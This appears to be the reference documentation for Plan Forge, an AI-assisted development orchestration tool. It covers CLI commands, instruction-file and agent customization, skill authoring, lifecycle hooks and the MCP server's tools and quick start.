.\pforge.ps1 new-phase user-auth

.\pforge.ps1 branch docs/plans/Phase-3-USER-AUTH-PLAN.md --dry-run
.\pforge.ps1 branch docs/plans/Phase-3-USER-AUTH-PLAN.md

.\pforge.ps1 commit docs/plans/Phase-3.md 2 --dry-run
.\pforge.ps1 commit docs/plans/Phase-3.md 2

.\pforge.ps1 phase-status docs/plans/Phase-3.md in-progress
.\pforge.ps1 phase-status docs/plans/Phase-3.md complete

pforge sweep

Completeness Sweep, scanning for deferred-work markers:
─────────────────────────────────────────────────────────
  src/Services/UserService.cs:42: // TODO: Wire to real email service
  src/Controllers/AuthController.cs:18: // FIXME: Add rate limiting

FOUND 2 deferred-work marker(s). Resolve before Step 5 (Review Gate).

.\pforge.ps1 diff docs/plans/Phase-3-USER-AUTH-PLAN.md

Scope Drift Check, 4 changed file(s) vs plan:
──────────────────────────────────────────────────
  ✓ IN SCOPE   src/Services/UserService.cs
  ✓ IN SCOPE   src/Repositories/UserRepository.cs
  ● UNPLANNED  src/Config/AppSettings.cs
  ● FORBIDDEN  tests/Legacy/OldTests.cs

DRIFT DETECTED, 1 forbidden file(s) touched.

# Single-model analysis
.\pforge.ps1 analyze docs/plans/Phase-1-AUTH-PLAN.md

# Multi-model quorum
.\pforge.ps1 analyze docs/plans/Phase-1-AUTH-PLAN.md --quorum

# Analyze a code file directly
.\pforge.ps1 analyze src/services/billing.ts --mode file

forge_diagnose({ file: "src/services/billing.ts" })
forge_diagnose({ file: "src/auth/token-validator.ts", models: "grok-3-mini,grok-4" })

# Estimate cost without executing (always tool-backed via forge_estimate_quorum)
.\pforge.ps1 run-plan docs/plans/Phase-7.md --estimate

# Full auto execution
.\pforge.ps1 run-plan docs/plans/Phase-7.md

# Assisted mode
.\pforge.ps1 run-plan docs/plans/Phase-7.md --assisted

# Resume from slice 3 after fixing a failure
.\pforge.ps1 run-plan docs/plans/Phase-7.md --resume-from 3

# Quorum presets (v2.82)
.\pforge.ps1 run-plan docs/plans/Phase-7.md --quorum=power     # flagship models, threshold 5
.\pforge.ps1 run-plan docs/plans/Phase-7.md --quorum=speed     # fast models, threshold 7
.\pforge.ps1 run-plan docs/plans/Phase-7.md --quorum=auto --quorum-threshold 8

pforge smith

.\pforge.ps1 ext search saas
.\pforge.ps1 ext add saas-multi-tenancy
.\pforge.ps1 ext info plan-forge-memory
.\pforge.ps1 ext list
.\pforge.ps1 ext remove healthcare-compliance
.\pforge.ps1 ext publish .forge/extensions/my-extension

.\pforge.ps1 update
.\pforge.ps1 update C:\path\to\plan-forge --dry-run
.\pforge.ps1 update --force

pforge help

# One-shot manual drain (3 rounds max, dry-run)
pforge audit-loop --max 3 --dry-run

# Respect .forge.json#audit config (most common in CI)
pforge audit-loop --auto

# Drain against staging
pforge audit-loop --auto --env staging

# Last 24h, all sources
pforge timeline

# Last hour, only Forge-Master turns
pforge timeline --window 1h --source fm-turn

# Everything tied to one run
pforge timeline --correlation run-2026-05-04T120000

# Daily summary for the past week, grouped by source
pforge timeline --window 7d --group-by source

# JSON for piping into jq / scripts
pforge timeline --window 24h --json | jq '.[] | select(.source == "incident")'

LiveGuard Commands (v2.27.0+)

Post-coding intelligence commands. All run locally, no network unless openclaw.endpoint is configured.

pforge drift
pforge drift --since HEAD~5

pforge incident "Auth token validation bypass" --severity critical --files src/auth/validator.ts
pforge incident "Slow query on dashboard load" --severity medium

pforge triage
pforge triage --min-severity medium --max 10

pforge deploy-log --version v2.27.0 --env production --status success
pforge deploy-log --version v2.27.0 --env staging --status failure

pforge regression-guard --plan docs/plans/Phase-LiveGuard-v2.27.0-PLAN.md

pforge runbook --plan docs/plans/Phase-7-DASHBOARD-PLAN.md

pforge hotspot
pforge hotspot --top 15 --since "3 months ago"

pforge dep-watch

pforge secret-scan
pforge secret-scan --since HEAD~3 --threshold 4.0

pforge env-diff
pforge env-diff --baseline .env --files .env.staging,.env.production

pforge health-trend
pforge health-trend --days 30

pforge fix-proposal --source regression
pforge fix-proposal --source drift
pforge fix-proposal --source secret
pforge fix-proposal --source incident --incident-id INC-2026-04-001

pforge quorum-analyze --source triage
pforge quorum-analyze --source drift --goal root-cause
pforge quorum-analyze --source incident --custom-question "Which fix should I prioritize given the sprint deadline?"

Third Edition Commands v3.x+

Six commands shipped between v2.99 and v3.5 that postdate the original CLI reference. Each is a thin wrapper over a v3.x MCP tool or subsystem, see the per-command "Also available as" link for the full MCP / REST mapping.

pforge sync-memories
pforge sync-memories --since=14d
pforge sync-memories --preview --explain

pforge sync-instructions
pforge sync-instructions --preview
pforge sync-instructions --force

pforge sync-spaces                       # dry-run, all peers
pforge sync-spaces --peer=billing-svc --apply
pforge sync-spaces --since=30d --apply

pforge plan-from-sarif codeql-results.sarif
pforge plan-from-sarif scan.sarif --min-severity=high --max-slices=5
pforge plan-from-sarif sec.sarif --phase-name="Phase-SEC-FIX"

pforge digest                       # today's, markdown
pforge digest --since=7d            # weekly
pforge digest --format=json | jq    # pipe-friendly
pforge digest --post                # broadcast to configured channel

pforge hammer-fm
pforge hammer-fm --strict                # CI gate
pforge hammer-fm --include="src/**/*.ts"

pforge fm-session "Why did Phase-31 slice 4 fail?"
pforge fm-session --resume=fm-7f3a-...
pforge fm-session --quiet "What's the cheapest quorum for Phase-32?"

pforge fm-recall "gate timeout"
pforge fm-recall "snapshot pop strategy" --limit=10
pforge fm-recall "cost anomaly Phase-31" --since=30d --json

MCP Server Commands

The MCP server is started directly with Node.js, not through the pforge CLI:

# Full MCP server (normal usage, started by VS Code via mcp.json)
node pforge-mcp/server.mjs

# Dashboard + REST API only (no MCP stdio)
node pforge-mcp/server.mjs --dashboard-only

# Custom project path
node pforge-mcp/server.mjs --project /path/to/project

Full Reference

This chapter covers the happy path for each command. For exhaustive edge-case documentation, see the source: CLI-GUIDE.md on GitHub

Customization

Make it yours: principles, profiles, custom instructions, configuration hierarchy.

The Two-Layer Model

Every project gets two layers of guardrails. Layer 1 is your non-negotiable standards, the rules every project gets whether they ask or not. Layer 2 is your project's specific ambitions, the coverage targets, latency SLAs, and domain rules that make this project different from the last one.

If Layer 2 conflicts with Layer 1, Layer 2 wins for that specific project. Example: Layer 1 says "TDD for business logic" → Layer 2 says "TDD for ALL code" → Layer 2 applies.

Project Principles

Principles declare what your project believes, non-negotiable commitments about technology, architecture, and quality. They're checked automatically during Steps 1, 2, and 5.

1. Open Copilot Chat → Agent Mode
2. Attach .github/prompts/project-principles.prompt.md
3. Choose your path: A) Interview, B) Starter set for your stack, or C) Discover from codebase
4. The prompt generates docs/plans/PROJECT-PRINCIPLES.md

## Technology Commitments
- PostgreSQL for all persistence, no MongoDB, no SQLite in production
- All services communicate via gRPC, no REST between internal services

## Architecture Commitments
- All data access goes through repositories, no direct SQL in services
- Background jobs use BackgroundService + PeriodicTimer, no Hangfire

## Quality Commitments
- 90% test coverage on business logic, non-negotiable
- No secrets in code, ever. Use IConfiguration + Key Vault

Project Profile

The profile tells the AI how to write code, generated from an interview about your standards:

1. Attach .github/prompts/project-profile.prompt.md
2. Answer questions about testing, performance, security, domain rules
3. The prompt generates .github/instructions/project-profile.instructions.md

Editing copilot-instructions.md

This is the master config file, loaded every session, for every file. Keep it focused:

• Project overview, what your app does, who it's for (2–3 sentences)
• Tech stack, specific versions, frameworks, libraries
• Architecture, how layers are organized, key patterns
• Quick commands, build, test, lint, run dev

Writing Custom Instruction Files

Create a new .instructions.md file in .github/instructions/ with YAML frontmatter:

---
description: Billing domain rules, Stripe integration, invoice generation
applyTo: "**/billing/**,**/invoices/**,**/payments/**"
---

# Billing Domain Rules

- All money amounts stored as `decimal(18,4)`, never `float`
- Use Stripe SDK v45+, never raw HTTP calls
- Every payment mutation must be idempotent (use idempotency keys)
- Invoice PDFs generated async via background service
- All billing events published to `billing.*` topic

When you edit src/billing/InvoiceService.cs, this file loads automatically alongside the universal baseline.

applyTo Pattern Reference

Customizing Agents

Agent definitions live in .github/agents/. Each is a Markdown file with YAML frontmatter that declares the agent's role, tool restrictions, and expertise:

---
name: "billing-reviewer"
description: "Audit billing code for Stripe compliance and financial accuracy"
tools: ["read_file", "grep_search", "semantic_search"]
---

Agents are read-only, they can search and read but can't edit files. This makes them safe to run as independent auditors. To create a new agent, copy an existing one and modify the expertise section.

Plan Forge ships a built-in plan-health-auditor agent (.github/agents/plan-health-auditor.agent.md) that reads plan files and reports on slice sizing, gate coverage, missing forbidden actions, and scope contract completeness. Invoke it via forge_delegate_to_agent with agent: "plan-health-auditor" or from the Dashboard Agents tab. Read-only; cannot modify plans.

Customizing Skills

Skills are multi-step procedures in .github/skills/*/SKILL.md. Each skill defines steps, validation gates, and expected outputs. Every skill follows the Skill Blueprint format, including Temper Guards, Warning Signs, and Exit Proof sections. To create a custom skill:

1. Create a directory: .github/skills/my-workflow/
2. Add SKILL.md with steps, gates, and description
3. Invoke with /my-workflow in Copilot Chat

Lifecycle Hooks Reference

Plan Forge fires eight lifecycle hooks across three buckets. The Copilot session hooks live in .github/hooks/plan-forge.json and run during every agent turn; the LiveGuard / orchestration hooks are configured in .forge.json#hooks and fire during plan execution; the plan-execution guard is a single Node script that runs ahead of every commit during pforge run-plan. The tables below are the normative reference, every hook the orchestrator knows about, what triggers it, what it can block, and where to configure it. The canonical ordered list of hook names is the HOOK_PASCAL array in pforge-mcp/enums.mjs — both pforge smith (PowerShell + bash) and the orchestrator read from this single source of truth.

Copilot session hooks

Configured in .github/hooks/plan-forge.json. Scripts live in .github/hooks/scripts/ with a .sh POSIX variant and a .ps1 Windows variant; the hook runner picks the right one per host. The default timeout for each hook is shown in the Timeout column, long-running scripts that exceed it are killed and skipped (not failed).

To disable a session hook for one project, edit .github/hooks/plan-forge.json and remove the entry from the relevant array. To disable a session hook globally, delete or rename the file, missing hook files are silently ignored.

LiveGuard and orchestration hooks

Configured in .forge.json#hooks. These fire during plan execution, the orchestrator invokes the relevant hook function directly (no shell scripts) and reads the matching .forge.json sub-block to pick up project-specific tuning. All hooks are opt-in at the project level and ship with safe defaults.

Example .forge.json snippet for the PostRun auditor hook:

{
  "hooks": {
    "postRun": {
      "invokeAuditor": {
        "onFailure": true,
        "everyNRuns": 10
      }
    }
  }
}

To disable a LiveGuard hook, set the corresponding block in .forge.json to { "enabled": false } or, for finer-grained control, lower its threshold (e.g. blockOnSecrets: false keeps the PreDeploy scan running but downgrades it to advisory). Full schema in Appendix T — hooks.

Plan-execution guard

One special hook lives outside both buckets above: PreCommit.mjs is a Node script in .github/hooks/ that runs synchronously before every commit during pforge run-plan. It now executes an ordered PreCommit chain declared in hooks.preCommit.chain[]. The built-in chain starts with master-branch-reject (refuse interactive commits on master/main) and then diff-classify (run forge_diff_classify against the staged diff). The first non-zero exit aborts the commit.

Hook resolution order

When the orchestrator needs to fire a hook, it looks for configuration in this order, first source that yields a non-empty value wins, with a built-in default at the end:

1. Environment override, e.g. PFORGE_DISABLE_TEMPERING=1, PFORGE_ALLOW_MASTER_COMMIT=1, PFORGE_QUORUM_TURN=1. See Appendix U — Feature Toggles and CLI Internal for the full list.
2. Project config, the matching block in .forge.json#hooks for LiveGuard hooks, or the matching entry in .github/hooks/plan-forge.json for session hooks.
3. Hook script presence, for session hooks, a missing .sh/.ps1 file is treated as "hook disabled" rather than an error. This lets you delete an unused hook script without editing the JSON.
4. Built-in default, bakes into orchestrator.mjs. The defaults are deliberately conservative: every hook is enabled, every blocking hook actually blocks, every advisory hook actually emits its advisory.

Writing a custom hook

You can add scripts to existing buckets without modifying the orchestrator. For session hooks, drop a new script into .github/hooks/scripts/ and append an entry to the appropriate array in plan-forge.json; the next agent session picks it up. For LiveGuard hooks, the contract is fixed by the orchestrator, you can't add new ones, but you can swap a hook's behavior by wrapping the underlying tool (e.g. point hooks.preDeploy.scanSince at a wider git range, or pre-populate .forge/secret-scan-cache.json with a custom scanner's output).

A representative custom SessionStart hook that injects organization-specific reminders lives in templates/.github/hooks/scripts/session-start.ps1, copy it and edit the $reminders block. The script must emit a single line of JSON in the form {"hookSpecificOutput":{"hookEventName":"SessionStart","additionalContext":"..."}} for the agent host to honor the injection.

Configuration Hierarchy

Three levels of configuration, from team-wide to personal:

Personal preferences override team config for the individual developer. Editor settings control VS Code behavior (agent mode enabled, prompt files, etc.).

For a field-by-field schema of .forge.json, every settable key with type, default, example, and change impact, see Appendix T — .forge.json Reference. For everything that lives outside .forge.json, provider API keys, server ports, orchestrator timing, see Appendix U — Environment Variables Reference.

📄 Full reference: CUSTOMIZATION.md on GitHub

Instruction Files & Agents

The guardrail system: what each file covers, when it activates, and how agents review your code.

How Auto-Loading Works

Each instruction file has an applyTo glob pattern in its YAML frontmatter. When you edit a file matching that pattern, the instruction auto-loads into the AI's context. No manual action needed, it's the difference between drowning the AI in every rule you have and having the right guidance whisper only when it's relevant. (For full details on writing your own applyTo patterns, see Chapter 9.)

---
description: Security best practices, input validation, auth, secrets
applyTo: "**/auth/**,**/security/**,**/middleware/**"
---
# Security Rules
- Parameterized queries only, never string interpolation in SQL
- Input validation at system boundaries
- No secrets in code, use environment variables or secret managers
...

A Concrete Scenario

Say you ask Copilot Chat to make a change to src/auth/token-validator.cs. Here's what auto-loads, and why each one matters:

The AI now has 4 focused instruction files in its context, not 17. If you switch to editing src/db/UserRepository.cs, security stays loaded but auth swaps out for database.instructions.md. The right rules whisper at the right time, without you doing anything.

Below is the full catalog: which files exist, what each covers, and which patterns trigger them.

Universal Files (All Presets)

These four files ship with every preset, they form the universal baseline:

Domain Instruction Files (Per Preset)

Each preset installs 17 domain-specific instruction files. They auto-load based on what you're editing:

Every instruction file includes Temper Guards (shortcut prevention tables) and Warning Signs (observable anti-patterns). These help agents avoid common quality erosion and help reviewers detect violations.

📄 Full reference: capabilities, Multi-Agent Setup — GitHub Copilot

Agents, Skills & Hooks

Complete reference for the 14 reviewer agents, 16 slash-command skills (6 shared + 10 per stack), and the lifecycle hook system.

Agents

14 reviewer agents organized in three categories. Agents are read-only, they audit code but can't edit files.

Stack-Specific Agents (6)

Vary by preset, examples for dotnet:

Cross-Stack Agents (8)

Shared across all presets, same expertise regardless of language:

Pipeline Agents (6)

Drive the 7-step pipeline with handoff buttons between stages:

Skills

Skills are multi-step procedures the AI runs end-to-end, they read files, write files, run terminal commands, and emit events the dashboard can watch. Unlike agents (which review) and hooks (which gate), skills do work. There are two tiers: shared skills installed across every preset, and stack-specific skills tailored to the chosen language.

The SKILL.md runtime contract

Every skill is a single Markdown file with YAML frontmatter followed by numbered ### N. Step Name sections. The skill-runner parses the file into a step DAG, executes bash blocks per step, and emits lifecycle events to the WebSocket hub. The contract:

After the frontmatter, three Markdown sections are recognized by the runner:

• ## Steps, the main body. Each ### N. Step Name heading defines one step; bash fences inside are executed in order. A step with no bash block is informational and auto-passes.
• ## Safety Rules, bullet list of invariants. Surfaced in the dashboard and injected into the skill's context.
• ## Persistent Memory, optional. Block appended to the skill's L2 capture so OpenBrain remembers cross-run lessons.

Two structural patterns are recognized inside step bodies:

• Conditionals, a blockquote starting with If <condition> → <action>. If the action contains the word skip, the runner aborts the current step's remaining commands. Used for early-exit paths like “If migration fails → rollback & STOP.”
• Temper Guards, a Markdown table at the end of the file capturing shortcuts authors took that broke the skill. Surfaced in code review and the Plan Forge knowledge graph.

Events the runner emits

Every skill execution emits four event types on the hub (cataloged in Appendix V — Skills events):

Three ways to invoke a skill

• Slash command in chat, /database-migration add user_profiles table. The most common path; works in VS Code Copilot, Claude, Cursor, and Codex once setup.ps1 -Agent <name> has run.
• MCP tool, forge_run_skill with { name, args }. Returns the same lifecycle events plus a structured result envelope.
• REST, POST /api/tool/forge_run_skill through the generic dispatcher (see Appendix W). Used by the dashboard and any external integration.

The orchestrator can also defer a skill into the decision tray when it wants a human to choose; clients query GET /api/skills/pending and resolve through POST /api/skills/{accept,reject,defer} (full surface in Appendix W — Skills).

Shared skills (every preset)

Six skills ship under presets/shared/skills/ and install regardless of language. These are the cross-cutting workflows.

Stack-specific skills (per language preset)

Ten skills ship per language preset under presets/<stack>/.github/skills/. Same skill names across stacks, but the implementation calls the language's idiomatic toolchain, database-migration uses Knex / Prisma for TypeScript, EF Core for .NET, Alembic for Python, GORM for Go, and so on.

Authoring a new skill

The minimum viable skill is one frontmatter block + one numbered step. Drop it under .github/skills/<name>/SKILL.md and it's available as /<name> in the next chat session. Example:

---
name: deploy-canary
description: "Deploy current branch to canary environment and watch metrics for 10 minutes. USE FOR: gradual rollout. DO NOT USE FOR: hotfixes (use /staging-deploy)."
argument-hint: "[optional: minutes to watch, default 10]"
tools: [run_in_terminal, read_file]
---

# Deploy Canary Skill

## Steps

### 1. Build & Push
```bash
docker build -t myapp:canary .
docker push myregistry/myapp:canary
```

### 2. Apply
```bash
kubectl set image deployment/myapp myapp=myregistry/myapp:canary -n canary
kubectl rollout status deployment/myapp -n canary --timeout=2m
```

### Conditional: Rollout Failure
> If rollout fails → immediately `kubectl rollout undo`, report the error, and STOP. Do not proceed to watch.

### 3. Watch
```bash
sleep ${MINUTES:-600}
kubectl logs -l app=myapp -n canary --tail=200
```

## Safety Rules
- NEVER deploy from a dirty working tree
- ALWAYS rollback within 60s if 5xx rate exceeds 1%

Authoring guidance:

• Step granularity: one step = one logical unit the dashboard can show pass/fail for. Keep step count under 8; longer skills should split into sub-skills called from a coordinator.
• Conditional placement: use blockquote conditionals between steps for early-exit paths. They render distinctly in the dashboard timeline.
• Tool allow-list: list only the tools the skill actually needs. The runtime warns on unused entries and refuses unlisted tool calls.
• Idempotency: assume the skill may be re-run after a partial failure. Use IF NOT EXISTS, check-then-act patterns, and explicit cleanup steps.
• Persistent memory: when the skill learns something cross-cutting (a new failure mode, an env-specific quirk), append it under ## Persistent Memory. The capture is routed to L2 and, if configured, L3 OpenBrain.

Lifecycle Hooks

Hooks run automatically during agent sessions, no manual activation:

📄 Full reference: capabilities, Multi-Agent Setup — GitHub Copilot

MCP Server & Tools

102 MCP tools across 8 categories, Core, LiveGuard, Watcher, Crucible, Tempering, Bug Registry, Testbed, Forge-Master, plus REST API, WebSocket hub, telemetry, and cost tracking. The integration layer.

Architecture

A single Node.js process runs three subsystems, the nervous system that lets all your tools talk to each other:

In This Chapter

This chapter is split across three pages for clarity:

📄 Full reference: capabilities, EVENTS.md on GitHub, tools.json on GitHub

MCP Server — Quick Start

Start the server, verify it's running, and call your first forge tools in under five minutes.

Starting the Server

# Install dependencies (first time only)
cd pforge-mcp && npm install && cd ..

# Full server: MCP + HTTP + WebSocket
node pforge-mcp/server.mjs

# Dashboard only (no MCP stdio)
node pforge-mcp/server.mjs --dashboard-only

# Custom project path
node pforge-mcp/server.mjs --project /path/to/project

With .vscode/mcp.json configured (created by setup.ps1 / setup.sh), the server auto-starts when Copilot calls any forge tool, you don't need to start it manually.

Verify It's Running

# Check the health endpoint
curl http://localhost:3100/api/status

# Or open the dashboard in your browser
open http://localhost:3100

Essential Tools

These are the tools you'll use most often. Start with forge_capabilities to discover the full surface; use forge_run_plan to execute your work.

forge_capabilities — Discovery

Returns the complete, always-authoritative API surface. Call this first.

forge_capabilities({})

Returns: tool schemas, intents, config keys, available extensions, per-tool error codes.

forge_smith — Environment Check

Diagnose your setup: VS Code config, Node version, MCP connectivity, preset health, version currency. Run this when something isn't working.

forge_smith({})

forge_run_plan — Execute a Plan

Execute a hardened plan file. Spawns workers, validates gates after each slice, tracks tokens and cost. This is the core execution command.

// Estimate cost before running (recommended)
forge_run_plan({ plan: "docs/plans/Phase-1.md", estimate: true })

// Execute
forge_run_plan({ plan: "docs/plans/Phase-1.md" })

// Execute with quorum mode
forge_run_plan({ plan: "docs/plans/Phase-1.md", quorum: "auto" })

// Resume from a specific slice
forge_run_plan({ plan: "docs/plans/Phase-1.md", resumeFrom: 3 })

Quorum modes: auto (adaptive), power (flagship models, threshold 5), speed (fast models, threshold 7), false (single model, no quorum).

forge_plan_status — Execution Status

Poll the status of the currently running (or most recent) plan execution. Returns per-slice results, tokens consumed, duration, and gate outcomes.

forge_plan_status({})

forge_abort — Stop Execution

Abort the currently running plan execution. The orchestrator finishes the current slice's work-in-progress before stopping.

forge_abort({})

forge_diagnose — Bug Investigation

Multi-model bug investigation: provide a source file (and optionally models) and receive root-cause analysis plus fix recommendations.

forge_diagnose({ file: "src/services/billing.ts" })

forge_analyze — Consistency Scoring

Cross-artifact consistency scoring (0–100 across 4 dimensions). Checks that your plans, code, tests, and docs are in sync. Run before shipping. plan is required and can point at a plan markdown or a source file.

forge_analyze({ plan: "docs/plans/Phase-1-AUTH-PLAN.md" })

forge_estimate_quorum — Cost Preview

Project the cost of a plan under all four quorum modes before executing. Always call this instead of hand-computing costs.

forge_estimate_quorum({ planPath: "docs/plans/Phase-1.md" })

Typical Workflow

1. 1. Discover, forge_capabilities({}) to see the live API surface
2. 2. Check setup, forge_smith({}) to confirm everything is green
3. 3. Estimate, forge_estimate_quorum({ planPath: "…" }) before any execution
4. 4. Run, forge_run_plan({ plan: "…" }) to execute your plan
5. 5. Monitor, forge_plan_status({}) to track progress
6. 6. Review, forge_analyze({ plan: "…" }) to confirm artifact consistency

📄 Full reference: capabilities, EVENTS.md on GitHub, tools.json on GitHub

MCP Server — Full Reference

Complete tool tables for all 102 MCP tools across 8 categories, REST API endpoints, WebSocket hub events, OTLP telemetry, cost tracking, SDK, and API key configuration.

MCP Tools (102, in 8 Categories)

Every tool is callable from Copilot Chat, Claude Code, Cursor, or any MCP-compatible client. Tools are grouped by station / subsystem. The four "station" categories (Crucible, LiveGuard, Tempering, Bug Registry / Testbed) map directly to the four shop stations; the rest are cross-cutting infrastructure.

Core — Execution, Diagnosis, Skills, Cost, Memory (37 tools)

Everything that powers the Smelt and Forge stations plus the cross-cutting surfaces (skills, memory, cost, search, review queue, notifications, image generation, meta-bug filing).

LiveGuard — Post-Ship Defense (14 tools)

The Guard station. Detect drift, capture incidents, watch dependencies, scan for secrets, propose fixes, all running against shipped code. Chapter 17 — LiveGuard Tools Reference covers each one in depth (flags, thresholds, output shapes, severity matrix). Listed here for completeness.

Watcher — Cross-Project Read-Only Tail (2 tools)

Read-only observation of another project's forge run from a second VS Code session. See Chapter 19 — The Watcher.

Crucible — Idea Smelting (8 tools)

The Smelt station. Interview-driven plan intake with a critical-fields gate that refuses to finalize until build-command, test-command, scope, gates, and forbidden-actions are all satisfied. Includes a deterministic Spec Kit importer. See Chapter 5 — Crucible.

Tempering — Quality Drains & Audit Loop (5 tools)

Closed-loop self-tempering, scan, triage, fix, repeat until convergence. The audit-loop drain is opt-in via .forge.json → audit.mode = "off" | "auto" | "always". See Audit Loop Deep Dive.

Bug Registry — Closed-Loop Bug Lifecycle (4 tools)

The Learn station. Fingerprint-deduped bug registry: register, fix, validate, remember. See Chapter 23 — The Bug Registry.

Testbed — Scenario Replay (3 tools)

Replay scenarios against a dedicated fixture repo (typically plan-forge-testbed/) to prove fixes don't regress. See Chapter 24 — The Testbed.

Forge-Master — Read-Only Reasoning Orchestrator (1 MCP tool + REST surface)

Intent classifier with embedding cache and quorum advisory mode. Classifies open-ended prompts, fetches OpenBrain memory, and chains read-only forge tools on your behalf. The bulk of the Forge-Master surface is exposed via /api/forge-master/* REST routes (see below) plus the dashboard's Studio tab; only the one-shot reasoning entry-point is an MCP tool.